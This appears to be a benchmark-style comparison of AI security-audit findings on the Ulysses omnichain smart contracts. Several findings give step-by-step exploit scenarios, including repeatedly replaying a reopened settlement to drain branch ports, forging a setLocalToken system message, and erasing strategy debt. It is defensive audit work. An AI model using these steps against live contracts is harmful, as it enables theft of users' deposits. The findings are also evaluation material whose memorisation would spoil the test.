Any settlement with deposit > 0 reverts with UnrecognizedUnderlyingAddress, so underlying funds for that token on that chain can no longer be withdrawn.
- Recommendation
-
Add the requiresBridgeAgent modifier to CoreBranchRouter.anyExecuteNoSettlement (and to the base implementation's override chain). Fix the duplicated selector check: the second branch tests _data[0] == 0x01 again, so _receiveAddBridgeAgentFactory is dead code. If that branch is corrected to 0x02 without the access check, anyone could register an arbitrary bridge agent factory on the BranchPort. Add validation on the root side so setLocalAddress requires an existing global address and refuses to overwrite an already-mapped (global, chain) pair.
Claude Security (Opus 5.5)
CoreBranchRouter.anyExecuteNoSettlement has no bridge-agent check, so anyone can send the privileged setLocalToken (0x03) system message to the root and overwrite the global-to-local token mapping
src/2-audit/ulysses-omnichain/CoreBranchRouter.sol:149Predicted severity: Medium- Root cause
-
Vulnerable symbol: anyExecuteNoSettlement
Preconditions: Non-Arbitrum branch (ArbitrumCoreBranchRouter overrides this function to revert); The attacker force-feeds more than 150000 wei plus root execution gas into CoreBranchRouter, which has no receive function, for example via selfdestruct
Offending code:
function anyExecuteNoSettlement(bytes memory _data)
- Impact
-
Unauthenticated corruption of the root token registry for any global token on the branch. Withdrawals of that token's underlying from the branch are frozen until the RootPort owner repairs the mapping, and the attack can be repeated after each repair.
- Description
-
The override drops the requiresBridgeAgent modifier that BaseBranchRouter puts on this function. Any caller can reach _receiveAddGlobalToken. That creates a factory hToken and has the core bridge agent send a trusted system message (flag 0x00, funcId 0x03) to the root. CoreRootRouter._setLocalToken and RootPort.setLocalAddress then overwrite getLocalAddressFromGlobal[chain][G] for any G with no validation. This skips the isGlobalAddress and already-added checks that only the root-originated addGlobalToken flow performs.
- Exploit scenario
-
1. The attacker force-sends a small amount of ETH to CoreBranchRouter (for example via selfdestruct), enough to exceed MIN_FALLBACK_OVERHEAD and cover root execution gas. 2. The attacker calls CoreBranchRouter.anyExecuteNoSettlement(abi.encode(bytes1(0x01), G, "x", "x", uint128(gas))). G is an existing global token, e.g. hUSDC, that already has local token L and underlying USDC on this branch. 3. The router creates a fresh hToken L' and the core bridge agent sends 0x00|nonce|0x03|abi.encode(G, L') to the root. The root trusts the message because it comes from the core branch agent, and sets getLocalAddressFromGlobal[branch][G] = L'. 4. Root settlements of G to this branch now resolve to L', which has no underlying mapping. Any settlement with deposit > 0 reverts with UnrecognizedUnderlyingAddress, so users can no longer withdraw USDC from that branch port, and hToken settlements mint L' instead of L. The attacker can repeat this after any admin repair.
- Recommendation
-
Add the requiresBridgeAgent modifier to CoreBranchRouter.anyExecuteNoSettlement. On the root, make _setLocalToken check that the global token is registered and does not already have a local token on that chain (or only accept 0x03 as a reply to a pending addGlobalToken request).
-
The protocol fee from pools will be claimed to zero address maia-9 · 4 writeups High
V12
Factory omits security-critical ownership bootstrap
src/2-audit/ulysses-amm/factories/UlyssesFactory.sol:38Predicted severity: Informational- Root cause
-
The factory delegates owner bootstrap entirely to an unavailable
Ownabledependency and supplies no explicit initialization, even though its owner is security-critical to every registered pool's fee handling. - Impact
-
If the linked
Ownableimplementation leaves ownership unset until_initializeOwnerand requires an existing owner for recovery, registered pools cannot change protocol fees and fee claims target the zero address, causing failed collection or irrecoverable transfers depending on the asset. The exact missing fact is the linked Solady version's bootstrap and ownership-recovery behavior; searches oflib/solady, repository-wideOwnablefilenames and initialization references, remappings, submodule declarations, and package metadata did not recover that implementation or a version pin. - Description
-
UlyssesFactoryinherits SoladyOwnablebut has no constructor or initializer that establishes the factory owner. By contrast, the pool constructor explicitly calls_initializeOwner(_owner)for the separate pool authority. Every registered pool stores this factory and subsequently usesfactory.owner()both as its protocol-fee administrator and as the recipient of claimed fees. The configured Solady dependency directory is empty, so the actual inherited constructor, ownership-transfer restrictions, and recovery APIs cannot be verified in this workspace. The source-backed omission therefore warrants an unresolved ownership-lifecycle candidate, rather than an unconditional claim that ownership or fees are permanently lost.
Devin Security (Deep)
UlyssesFactory never initializes its Ownable owner, so every pool's protocol fees are sent to the zero address and setProtocolFee can never be called
src/2-audit/ulysses-amm/factories/UlyssesFactory.sol:38Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Every pool created by the factory sends its protocol fees to the zero address and nobody can ever change the protocol fee, because the factory's owner is permanently unset.
##### What's wrong
This is an uninitialized owner.
UlyssesFactoryinherits Solady'sOwnablebut has no constructor and never calls_initializeOwner, sofactory.owner()returnsaddress(0)forever. Solady'sOwnablehas no public initializer, andtransferOwnershipandcompleteOwnershipHandoverare owner-only, so the state cannot be repaired after deployment.UlyssesPoolusesfactory.owner()as the fee recipient and as the authority forsetProtocolFee.##### Who can do it
Acme deploys
UlyssesFactoryand creates pools through it. Alice, the pool owner at Acme, callsclaimProtocolFees()after a month of swaps. The pool transfers the accumulated fees toaddress(0). If the underlying token rejects transfers to the zero address, the call reverts instead and the fees stay stuck in the pool, excluded fromtotalAssetsso no LP can ever withdraw them. Alice later triessetProtocolFeeand getsUnauthorizedbecause onlyaddress(0)may call it.- The factory is deployed as written, with no owner initialization.
- Any pool created through
_createPool.##### What they get
No attacker is needed. Acme loses 100% of protocol fee revenue from every pool, either burned to the zero address or frozen in the pool forever, and cannot adjust the protocol fee on any pool. The damage covers every pool the factory creates; user deposits are not at risk.
##### How it works
1.
UlyssesFactoryatUlyssesFactory.sol:38inheritsOwnablebut has no constructor, so_initializeOwneris never called andowner()reads an empty slot.2.
_createPoolatUlyssesFactory.sol:70passesaddress(this)as the pool'sfactory.3.
UlyssesPool.claimProtocolFeesatUlyssesPool.sol:152transfers the fees tofactory.owner(), which isaddress(0).4.
UlyssesPool.setProtocolFeeatUlyssesPool.sol:322requiresmsg.sender == factory.owner(), which no account can satisfy. - Exploit scenario
-
Not specified.
- Recommendation
-
Add a constructor to
UlyssesFactorythat calls_initializeOwner(_owner)with a non-zero address, and haveUlyssesPool.claimProtocolFeesrevert if the recipient isaddress(0). Verify with a test that deploys the factory, assertsfactory.owner() != address(0), and checks thatclaimProtocolFeesmoves fees to that owner.
Claude Security (Sonnet 5.5)
UlyssesFactory never initializes its Ownable owner, so factory.owner() is address(0) forever
src/2-audit/ulysses-amm/factories/UlyssesFactory.sol:38Predicted severity: Medium- Root cause
-
Vulnerable symbol: UlyssesFactory
Preconditions: The factory is deployed as written, with no constructor or initializer that calls _initializeOwner; Solady Ownable does not auto-initialize the owner (as documented upstream)
Offending code:
contract UlyssesFactory is Ownable, IUlyssesFactory {
- Impact
-
The protocol-level admin role is permanently unreachable. Protocol fees accrued in every pool (the swapIn base fee plus any surplus over bandwidth) can never reach a real recipient: they are burned or stuck. The protocol fee parameter cannot be adjusted. LP principal is not directly affected.
- Description
-
UlyssesFactory inherits Solady Ownable, which does not auto-set the owner and requires an explicit _initializeOwner call. The factory has no constructor and no other path that calls it (the other Ownable contracts in the repo all call _initializeOwner). The owner is therefore address(0), and nobody can pass onlyOwner, including transferOwnership. The pools use factory.owner() as the sole protocol authority and as the fee recipient. I could not read lib/solady (submodule empty) and relied on its documented behavior.
- Exploit scenario
-
1) The factory is deployed and no owner is ever set. 2) Any call to UlyssesPool.setProtocolFee fails the check
msg.sender != factory.owner(), because msg.sender can never be address(0). The protocol fee stays at the 1e14 default and the 1% cap can never be used. 3) When a pool owner calls claimProtocolFees,asset.safeTransfer(factory.owner(), claimed)sends the accrued protocol fees to address(0). That burns them for solmate-style tokens and reverts, leaving the fees locked, for OpenZeppelin-style tokens. 4) Ownership cannot be recovered, because transferOwnership and completeOwnershipHandover are onlyOwner and the owner is zero. - Recommendation
-
Add a constructor, for example
constructor(address _owner) { _initializeOwner(_owner); }, and reject address(0). Also guard claimProtocolFees against a zero recipient.
Claude Security (Opus 5.5)
UlyssesFactory never sets its owner, so protocol fees go to address(0) and the factory-owner-only setProtocolFee can never be called
src/2-audit/ulysses-amm/UlyssesPool.sol:152Predicted severity: Medium- Root cause
-
Vulnerable symbol: claimProtocolFees
Preconditions: Pools are deployed through UlyssesFactory (the only supported path); At least one swap has accrued protocol fees; The pool owner, an arbitrary address chosen in createPool, calls claimProtocolFees
Offending code:
asset.safeTransfer(factory.owner(), claimed);
- Impact
-
All protocol fee revenue from every pool the factory creates is lost (burned to address(0)) or permanently stuck. The protocol-fee admin function cannot be used by anyone. LP principal is not directly affected.
- Description
-
UlyssesFactory inherits Solady Ownable but has no constructor and never calls _initializeOwner, so factory.owner() is always address(0). claimProtocolFees uses that address as the protocol-fee recipient, and setProtocolFee uses it as its only authorization check, so the protocol-admin role belongs to nobody.
- Exploit scenario
-
Anyone calls UlyssesFactory.createPool(asset, attacker) and becomes owner of a production pool. Users swap through it and pay protocolFee, which builds up as balance above bandwidths plus the rebalancing reserve (getProtocolFees). The pool owner, who need not be the protocol, calls claimProtocolFees(). The pool sends all accrued protocol fees to address(0). For tokens that allow transfers to zero (solmate-style), the fees are burned. For tokens that reject them (OpenZeppelin-style), the call reverts and the fees stay locked in the pool forever. Meanwhile setProtocolFee always reverts for every caller, because msg.sender can never equal address(0), so the protocol cannot change or turn off the 0.01% swap fee on any pool.
- Recommendation
-
Add a constructor to UlyssesFactory that takes the owner address, requires it to be non-zero, and calls _initializeOwner(_owner). In claimProtocolFees, also revert when factory.owner() == address(0) as a defensive check.
-
Unlimited cross-chain asset transfer without deposit requirement maia-10 · 7 writeups High
V12
Successful settlement retries remain endlessly replayable
src/2-audit/ulysses-omnichain/RootBridgeAgent.sol:215Predicted severity: Critical- Root cause
-
The retry status transition is applied to a memory copy rather than
getSettlement[_settlementNonce].status. Destination settlement execution is also non-idempotent, turning the persistent Pending state into repeated payouts. - Impact
-
After inducing or encountering one fallback on a root-to-branch settlement, a user can repeatedly release the same underlying or hToken amount from branch custody. Repetition can drain shared port balances beyond the single root-side debit.
- Description
-
_clearSettlementloads a pending settlement into memory and sets only the memory copy's status toSuccess. It writes the modified call data back but never persists the status transition, so the stored settlement remainsPendingafter a successful retry. Any caller can invokeclearSettlementagain with more gas and retransmit the same settlement; the destination branch has no settlement-consumption check and releases the encoded assets each time. The original root-side transfer/burn is not repeated during retries, so every extra destination payout is unbacked. This path does not depend on external transport accidentally replaying a message because the public retry entrypoint deliberately sends it again.
Pashov (Claude Opus 5.5 high)
RootBridgeAgent._clearSettlement updates only a memory copy of the status, so settlements can be retried and paid out indefinitely
src/2-audit/ulysses-omnichain/RootBridgeAgent.sol:601Predicted severity: High- Root cause
-
State change applied to a memory struct instead of storage. anyFallback reopens settlements without checking that they exist or belong to the message.
- Impact
-
Settled hTokens and underlying are released multiple times on the destination branch. Branch ports can be drained and unbacked hTokens minted.
- Description
-
_clearSettlement loads the settlement into memory, requires status == Pending, and sets
settlement.status = Successon that memory copy only. Only callData is written back to storage, so the stored status stays Pending and the settlement can be re-sent again and again. anyFallback also reopenssettlementNoncefor flag 0x00 callOut messages, which never created a settlement. A callOut fallback can therefore reopen someone else's settlement (the one later created with that nonce). The branch side keeps no execution history, so each retried message clears the tokens again. - Exploit scenario
-
The attacker gets one settlement into Pending, either by making its first branch execution fail or by having a flag-0x00 callOut fall back onto a nonce that is later used by a real settlement. They then call BranchBridgeAgent.retrySettlement(nonce) (flag 0x07) or RootBridgeAgent.clearSettlement repeatedly. Each call re-sends the same settlement payload, and the branch agent mints/withdraws the settlement amount to the recipient each time.
- Recommendation
-
Write the status to storage (
getSettlement[nonce].status = Success). Only reopen settlements that exist and match the failed message. Add execution-nonce replay protection on the branch agent.
Pashov (Codex GPT-6 Sol high)
Root settlement clearing never persists Success status
audit/src/2-audit/ulysses-omnichain/RootBridgeAgent.sol:601Predicted severity: Critical- Root cause
-
The status assignment targets memory, and only callData is written to storage.
- Impact
-
Anyone can resend the same settlement and repeat token releases.
- Description
-
_clearSettlement updates a memory copy of Settlement while persistent status stays Pending.
- Exploit scenario
-
After a settlement is reopened, repeatedly call permissionless clearSettlement with execution gas.
- Recommendation
-
Write Success to the storage settlement before external calls and enforce destination replay protection.
Devin Security
Settlement retry never marks the settlement done, so anyone can replay a payout
src/2-audit/ulysses-omnichain/RootBridgeAgent.sol:601Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone can get a settlement reopened and then retry it as many times as they like, and each retry pays the recipient's tokens out of the branch port again.
##### What's wrong
This is a replay bug caused by a lost state update.
_clearSettlementloads the settlement into amemorycopy and setsstatus = Successon that copy. OnlycallDatais written back to storage. The stored status staysPending, so the same settlement passes thePendingcheck every time. Nothing checks that the caller owns the settlement. The branch agent also keeps no record of which settlement nonces it already executed.A settlement can also reach
Pendingwithout failing itself.callOutsends the currentsettlementNoncebut does not create or increment a settlement. When that message falls back,anyFallbackreopens whatever settlement later took that nonce.##### Who can do it
Mallory has a normal wallet on a branch chain. She calls the public
CoreBranchRouter.addGlobalToken. The root sends back acallOutmessage with the current settlement nonce N. That message reverts on the branch because the branch core router holds no ETH forperformSystemCallOut. Before the fallback arrives, Mallory takes settlement N herself with a normal bridge-out to her own address. The fallback then reopens N. Mallory then callsBranchBridgeAgent.retrySettlement(N)over and over, paying only a little gas each time. Any settlement that fails on its own also works, including one that belongs to another user.- Mallory needs only a normal wallet and small gas payments.
- A settlement must be in
Pending. She can force this as described above, or she can use any settlement that failed.##### What they get
Each retry sends the settlement message again. The branch agent mints the hTokens again and withdraws the underlying tokens again from the branch port to the recipient. When Mallory is the recipient, she can drain the port's locked tokens, which belong to every user of that chain.
##### How it works
1.
callOutencodessettlementNoncewithout creating a settlement (RootBridgeAgent.sol:231-237).2. On fallback,
anyFallbackreopens the settlement at that nonce, even when a later settlement took it (RootBridgeAgent.sol:1074-1076, 638-641).3. The branch
retrySettlementcall, which anyone can make, sends flag 0x07, and the root agent calls_clearSettlement(BranchBridgeAgent.sol:228-234, RootBridgeAgent.sol:1020-1021).4.
_clearSettlementsetsSuccessonly on the memory copy and stores justcallData, so the stored status staysPending(RootBridgeAgent.sol:603-627).5. The branch agent executes flag 0x01 with no replay check and pays out again through
_clearToken(BranchBridgeAgent.sol:712-731). - Exploit scenario
-
Not specified.
- Recommendation
-
Write the status to storage (
getSettlement[_settlementNonce].status = SettlementStatus.Success) before you resend. Require that the caller, or the branch-signed sender, is the settlement owner. Do not reopen settlements for flag 0x00 messages, which never create a settlement. Add anexecutionHistory[nonce]check on the branchanyExecute. Add a test that retries one pending settlement twice and checks that the second retry reverts.
Devin Security (Deep)
Settlement retry never stores the Success status, so a failed settlement can be replayed and paid out repeatedly
src/2-audit/ulysses-omnichain/RootBridgeAgent.sol:601Predicted severity: Critical- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone can resend a failed settlement over and over because the retry code never marks it as done, so the destination branch port pays the same tokens out again on every retry until it is empty.
##### What's wrong
This is a missing state update that enables a replay.
_clearSettlementloads the settlement into memory, sets the status to Success on the memory copy, and writes back only thecallDatafield. The stored status stays Pending, so the same settlement passes the Pending check forever. The branch side keeps no record of executed settlement nonces, so each resend pays out again.##### Who can do it
Alice and other users hold USDC in the Fantom branch port. Mallory, an attacker with a wallet and some capital, creates a settlement to Fantom that fails there, for example a withdrawal a little larger than what the port holds while a port strategy has borrowed part of the reserves, or by first inflating the recorded per-chain balance with one of the accounting bugs reported separately. The anycall fallback reopens her settlement as Pending on the root. Mallory then calls
clearSettlementon the root bridge agent in a loop; once the Fantom port has enough balance again, every call sends the same payout to her.- A settlement with status Pending where Mallory is the recipient. Any settlement becomes Pending when its branch-side execution fails.
-
clearSettlementis callable by anyone with any nonce and has no ownership check or reentrancy lock.- The retry works whenever the root bridge agent's
initialGasis non-zero.anyFallbacksets it and never clears it, so it is non-zero right after the failure that reopened the settlement.- The root bridge agent must hold a little wrapped native token to pay for the gas swap; it keeps the excess from every user's fees, so this is normally true.
##### What they get
Mallory receives the settlement amount on every retry. She drains the destination branch port of the settled token, taking all other users' deposits on that chain, and can do the same on every branch chain she targets.
##### How it works
1. A settlement to a branch fails and anycall calls
anyFallbackon the root;_reopenSettlemmentsets the stored status to Pending andinitialGasis left non-zero (RootBridgeAgent.sol:1063-1065, 1078-1079, 638-641).2. Mallory calls
clearSettlement(nonce, 0)(RootBridgeAgent.sol:215-224); becauseinitialGasis non-zero the stale fee info is reused and_manageGasOutswaps the agent's own wrapped native token for destination gas (RootBridgeAgent.sol:745-758).3.
_clearSettlementreads the settlement into memory, checks Pending, flips only the memory copy to Success, and writes back onlycallData(RootBridgeAgent.sol:601-631).4.
_performCallresends the original settlement payload to the branch (RootBridgeAgent.sol:765-775).5. The branch bridge agent executes flag 0x01 and
_clearTokenmints hTokens and withdraws underlying tokens to the recipient with no replay protection (BranchBridgeAgent.sol:744-761, 555-565).6. Mallory repeats step 2. The stored status is still Pending, so every call pays out again.
- Exploit scenario
-
Not specified.
- Recommendation
-
Persist the status before resending: write
getSettlement[_settlementNonce].status = SettlementStatus.Success(or operate on a storage reference) in_clearSettlement. RestrictclearSettlementto the settlement owner and add thelockmodifier. On the branch, record executed settlement nonces and reject duplicates. ResetinitialGasto zero at the end ofanyFallback. Verify by reopening a settlement in a test, callingclearSettlementtwice, and asserting the second call reverts and the branch port balance changed only once.
Claude Security (Sonnet 5.5)
Settlement 'Success' status is written only to a memory copy, so a Pending settlement can be retried and paid out repeatedly
src/2-audit/ulysses-omnichain/RootBridgeAgent.sol:609Predicted severity: High- Root cause
-
Vulnerable symbol: _clearSettlement
Preconditions: A settlement must have been reopened as Pending by a branch-side fallback.
Offending code:
settlement.status = SettlementStatus.Success;
- Impact
-
Repeated payout of a single settlement drains the destination BranchPort, which is theft of other users' funds. It is limited by the need for a settlement to reach Pending and for the recipient to benefit.
- Description
-
_clearSettlement copies the settlement into memory and sets status = Success there. Only callData is written back to storage, so getSettlement[n].status stays Pending after a successful retry. The only gate (require status == Pending) therefore never closes. Because clearSettlement is public, each repeat re-sends the same clearTokens message to the branch, which re-releases the settled assets from the Port. Also CWE-837:
settlementis a memory copy of the storage entry; only callData is written back (line 627), so storage status stays Pending after a retry. clearSettlement (public, no owner check) and flag 0x07 can then re-send the same settlement message any number of times; the branch agent has no per-settlement replay protection and delivers tokens each time. - Exploit scenario
-
A bridge-out settlement to chain X fails at the branch (for example the Port's real balance is below the root-tracked amount) and anyFallback reopens it as Pending. The recipient, or anyone acting for them, calls clearSettlement(nonce, gas) once the branch can execute. The branch pays the recipient. Status is still Pending, so they call clearSettlement again and again, and each execution withdraws or mints the same amount on the branch while the root burned or escrowed it only once.
- Recommendation
-
Write the new status to storage before the external call (getSettlement[_settlementNonce].status = SettlementStatus.Success), or take a storage reference instead of a memory copy. Also CWE-837: Use a storage pointer or write the whole struct back after setting status to Success (before the external call), and add an owner/recipient check plus a settlement-executed guard on the branch side.
Claude Security (Opus 5.5)
Settlement status is set on a memory copy and never saved, so a reopened settlement can be replayed without limit
src/2-audit/ulysses-omnichain/RootBridgeAgent.sol:609Predicted severity: High- Root cause
-
Vulnerable symbol: _clearSettlement
Preconditions: A settlement reaches Pending status through anyFallback; A working retry path: same-chain destination, or the gas-swap conversion bugs fixed for remote chains
Offending code:
settlement.status = SettlementStatus.Success;
- Impact
-
An attacker can release the same settlement many times and drain the underlying tokens held in branch ports, and over-mint branch hTokens.
- Description
-
_clearSettlement copies the stored Settlement into memory, sets status = Success on that copy, and writes back only callData. The stored status stays Pending. Anyone can call clearSettlement (no owner check) and resend the same settlement callData to the branch over and over.
- Exploit scenario
-
1) The attacker gets a settlement into Pending. Either one of their own root-to-branch settlements fails on the branch (for example the branch port lacks the underlying for withdraw) and anyFallback reopens it, or a callOut fails and its fallback reopens the current settlementNonce after the attacker has created a settlement at that nonce. 2) The attacker calls clearSettlement(nonce, >50000) again and again. For a local-chain (Arbitrum) destination, _manageGasOut returns 0 and _performCall runs ArbitrumBranchBridgeAgent.anyExecute synchronously. For remote chains, the retry runs from inside an anyExecute multicall. 3) Each call resends the original flag-0x01/0x02 payload, and the branch runs _clearToken again, minting hTokens or withdrawing underlying to the recipient every time.
- Recommendation
-
Update status through a storage reference (
Settlement storage s = getSettlement[nonce]; s.status = SettlementStatus.Success;) before making the external call. Restrict retries to the settlement owner. Make callOut either create a settlement or carry no settlement nonce, so a fallback cannot reopen an unrelated settlement.
-
ChainId type confusion maia-11 · 1 writeup High
V12
Outbound root domains exceed supported identity width
src/2-audit/ulysses-omnichain/factories/BranchBridgeAgentFactory.sol:41Predicted severity: Informational- Root cause
-
The standard factory admits a root-domain width that the repository's root implementations cannot instantiate and does not validate representability before agents use that domain for message dispatch.
- Impact
-
Inference: an accepted request with an unrepresentable root domain could leave deposited assets awaiting execution or fallback on the wrong destination, whereas synchronous rejection rolls the source transaction back. The exact missing fact is Anycall's behavior for such destination IDs and its fallback delivery semantics; the searched boundary includes both factories, both agent constructors, outbound routing/fee consumers, and every repository Anycall source, which contains no proxy implementation.
- Description
-
The standard branch factory accepts a
uint256 rootChainIdalthough the root factory and root bridge agent construct their root-chain identity fromuint24values. Values abovetype(uint24).maxare stored without validation and forwarded unchanged into standard branch agents. Those agents use the full value as the Anycall destination domain and as the fee-calculation domain, while the corresponding root implementation cannot represent that same root identity. UnlikelocalChainId, which is only stored/exposed by the standard agent, this configuration reaches a messaging sink after custody and gas deposits are recorded. Whether the messaging dependency rejects the request synchronously or accepts an undeliverable/wrong-domain request is not established by its interface.
-
Incorrect accounting of total and strategies debt maia-12 · 8 writeups Medium
V12
Reserve repayment debits the wrong strategy
src/2-audit/ulysses-omnichain/BranchPort.sol:139Predicted severity: High- Root cause
-
replenishReservesmixes the authenticated target_strategywithmsg.senderwhen updating per-strategy debt. The storage key differs from the strategy whose assets were requested. - Impact
-
Permissionless positive reserve replenishment by a debt-free keeper cannot succeed, preventing that recovery path from returning managed assets when reserves are short. A debt-bearing caller can also misattribute repayment across strategies, corrupting per-strategy debt without demonstrating a direct drain in the available strategy implementations.
- Description
-
BranchPort.replenishReservestakes a target_strategyand authorizes that strategy-token pair, but later debitsgetPortStrategyTokenDebt[msg.sender][_token].managerecords borrowing under the managing strategy's own address, so an ordinary keeper has no debt to debit. A keeper's positive repayment therefore underflows after the strategy withdrawal and reverts the entire operation, including the returned reserves. If the caller is another strategy with its own outstanding debt, the call instead reduces that caller's debt while requesting funds from the target strategy. No caller-to-target equality requirement or target-keyed debit reconciles these paths.
Codex Security (GPT-6 Sol)
A port strategy can erase debt without repaying reserves
src/2-audit/ulysses-omnichain/BranchPort.sol:139Predicted severity: Medium- Root cause
-
replenishReserves couples a capped withdrawal request with an uncapped debt reduction. The debt ledger no longer tracks assets retained by the strategy.
- Impact
-
A whitelisted but compromised strategy can hide outstanding borrowing and repeatedly draw excess reserves; the attack requires a preapproved strategy.
- Description
-
The branch port requests at most the current reserve shortfall from a strategy but subtracts the strategy's full requested amount from its debt, even when zero assets return.
- Exploit scenario
-
manage transfer and debt -> capped zero repayment -> full debt reduction
- Recommendation
-
Measure the port's received token balance and reduce the indebted strategy's debt only by that amount; bind the ledger update to _strategy.
Pashov (Claude Opus 5.5 high)
BranchPort.replenishReserves is permissionless and debits the caller's debt by the requested amount, not the amount actually withdrawn
src/2-audit/ulysses-omnichain/BranchPort.sol:153Predicted severity: Medium- Root cause
-
Uses msg.sender instead of _strategy for per-strategy debt and accounts the requested amount rather than the amount withdrawn.
- Impact
-
Debt accounting diverges from reality. A strategy can call with a large
_amountwhile only a small amount (or nothing) is returned, erasing its recorded debt and the global debt. Funds lent to strategies then become unrecoverable, and reserve-ratio calculations (_minimumReserves uses getStrategyTokenDebt) are understated, letting strategies take more than allowed. Third-party callers have their own (zero) debt underflow, which blocks legitimate replenishment by keepers. - Description
-
replenishReserves pulls
min(_amount, reservesLacking)from the strategy. It then subtracts the full_amountfromgetPortStrategyTokenDebt[msg.sender][_token](the caller, not_strategy) and from getStrategyTokenDebt[_token]. - Exploit scenario
-
A strategy with 1,000 debt calls replenishReserves(self, token, 1,000) when reservesLacking is 0. Nothing is withdrawn, but getPortStrategyTokenDebt[strategy] and getStrategyTokenDebt drop to 0. The strategy keeps the 1,000 tokens and can call manage again.
- Recommendation
-
Compute
amount = min(_amount, reservesLacking), withdraw it, and decreasegetPortStrategyTokenDebt[_strategy][_token]and getStrategyTokenDebt byamount.
Pashov (Codex GPT-6 Sol high)
Reserve replenishment can erase debt without repayment
audit/src/2-audit/ulysses-omnichain/BranchPort.sol:153Predicted severity: High- Root cause
-
Debt lookup and decrement do not use the same strategy/actual amount as the withdrawal.
- Impact
-
Strategy debt and reserve constraints can be bypassed, enabling repeated borrowing without repayment; third-party replenishment also fails when the caller has no debt.
- Description
-
replenishReserves requests only min(_amount,reservesLacking) from the selected strategy, but subtracts full _amount from both total debt and the debt keyed by msg.sender. If reservesLacking is zero, no assets are returned but debt can be fully erased by a debtor strategy.
- Exploit scenario
-
An approved strategy borrows 70 from a 100-token port with 30-token minimum reserve. It calls replenishReserves(self,token,70) while reservesLacking is zero; withdraw receives 0 but recorded debt falls by 70.
- Recommendation
-
Debit the selected strategy by the actual amount received.
Devin Security
replenishReserves clears more strategy debt than it withdraws
src/2-audit/ulysses-omnichain/BranchPort.sol:153Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
An approved port strategy can erase its debt while keeping most of the borrowed tokens, which lowers the port's reserves.
##### What's wrong
This is an accounting bug.
replenishReserveswithdraws onlymin(_amount, reservesLacking)from the strategy. It then subtracts the full_amountfrom the debt. It also subtracts fromgetPortStrategyTokenDebt[msg.sender]instead of_strategy.##### Who can do it
A port strategy that the owner approved, and that holds debt, calls
replenishReserves(self, token, fullDebt)when the port lacks few reserves. Outside callers have no debt, so their calls underflow and revert.- The caller must be an approved strategy with outstanding debt.
##### What they get
The strategy keeps tokens that the port no longer counts as owed. That reduces the backing for users' deposits.
##### How it works
1.
replenishReserveswithdraws the smaller of_amountandreservesLacking(BranchPort.sol:159).2. It subtracts the full
_amountfrom the caller's debt and the total debt (BranchPort.sol:161-162). - Exploit scenario
-
Not specified.
- Recommendation
-
Compute
amountToWithdraw = min(_amount, reservesLacking). Withdraw that amount, and subtract it fromgetPortStrategyTokenDebt[_strategy][_token]andgetStrategyTokenDebt[_token]. Add a test that the debt drops by exactly the amount the port received.
Devin Security (Deep)
replenishReserves lowers a strategy's recorded debt by more than it actually returns
src/2-audit/ulysses-omnichain/BranchPort.sol:153Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
An approved Port Strategy can erase its recorded debt without returning the tokens, which lets it later borrow more of users' deposits than the reserve limits allow.
##### What's wrong
Inconsistent accounting.
replenishReservespulls back onlymin(_amount, reservesLacking)from the strategy but subtracts the full_amountfrom both debt counters, and it debitsgetPortStrategyTokenDebt[msg.sender]instead of[_strategy].##### Who can do it
Alice's USDC sits in the Avalanche Branch Port. Sam runs a Port Strategy that the owner approved for USDC with a daily limit. After borrowing through
manage, Sam's strategy callsreplenishReserves(strategy, USDC, fullDebt)at a moment when the Port's reserves are not lacking. The Port withdraws 0 tokens but records the debt as repaid.- Caller is an owner-approved Port Strategy, so only an insider or a compromised strategy.
-
_reservesLacking(token)is smaller than_amountat the time of the call.##### What they get
The strategy keeps the borrowed USDC while the Port believes it was repaid. Because minimum reserves are computed from
balance + debt, the lower debt lowers the reserve floor and lets the strategy callmanageagain for more. A compromised strategy can repeatedly take users' deposits beyond the intended limits. Only tokens whitelisted for that strategy are at risk.##### How it works
1. The strategy calls
replenishReserves(_strategy, _token, _amount)(BranchPort.sol:153).2. The Port withdraws only
_amount < reservesLacking ? _amount : reservesLackingfrom the strategy (BranchPort.sol:157-159).3. It then subtracts the full
_amountfromgetPortStrategyTokenDebt[msg.sender]andgetStrategyTokenDebt[_token](BranchPort.sol:161-162).4.
_minimumReservesuses the reduced debt (BranchPort.sol:130-132), somanageallows a larger withdrawal next time (BranchPort.sol:139-150). - Exploit scenario
-
Not specified.
- Recommendation
-
Compute the actual amount withdrawn once, reduce both debt mappings by exactly that amount, and index the per-strategy mapping by
_strategy. Test: borrow viamanage, callreplenishReserveswhile reserves are not lacking, and assert the debt is unchanged.
Claude Security (Opus 5.5)
replenishReserves pulls funds from the caller-chosen _strategy but reduces the caller's debt, by the full requested amount
src/2-audit/ulysses-omnichain/BranchPort.sol:161Predicted severity: Low- Root cause
-
Vulnerable symbol: replenishReserves
Preconditions: The caller is an owner-whitelisted port strategy with outstanding debt
Offending code:
getPortStrategyTokenDebt[msg.sender][_token] -= _amount;
- Impact
-
A registered strategy can keep port funds with its debt erased, or shift its debt onto another strategy. This corrupts strategy accounting and the minimum-reserve calculation that protects users.
- Description
-
The function pulls funds from any whitelisted _strategy the caller names. It then reduces the debt of msg.sender rather than _strategy, and by the full _amount even though only min(_amount, reservesLacking) was withdrawn. Nothing requires msg.sender == _strategy. A registered strategy with debt can make another strategy repay for it, or erase its own debt without repaying anything when reserves are not lacking.
- Exploit scenario
-
Strategy A has borrowed X through manage(). When reserves are lacking, A calls replenishReserves(B, token, X). Strategy B returns the funds to the port while B's recorded debt stays the same, and A's debt is cleared. When reserves are not lacking, A calls replenishReserves(A, token, X). Nothing is withdrawn, but A's debt and the global debt drop by X, which also lowers _minimumReserves and lets more be pulled out through manage().
- Recommendation
-
Reduce getPortStrategyTokenDebt[_strategy][_token] (not msg.sender's) by the amount actually withdrawn, and reduce getStrategyTokenDebt by the same amount.
Vercel Security Review
Strategy repayment erases unpaid debt and weakens the reserve floor
src/2-audit/ulysses-omnichain/BranchPort.sol:159Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. An approved strategy borrows against tracked debt** -
src/2-audit/ulysses-omnichain/BranchPort.sol:144-147```solidity title="src/2-audit/ulysses-omnichain/BranchPort.sol:144-147"
getStrategyTokenDebt[_token] += _amount;
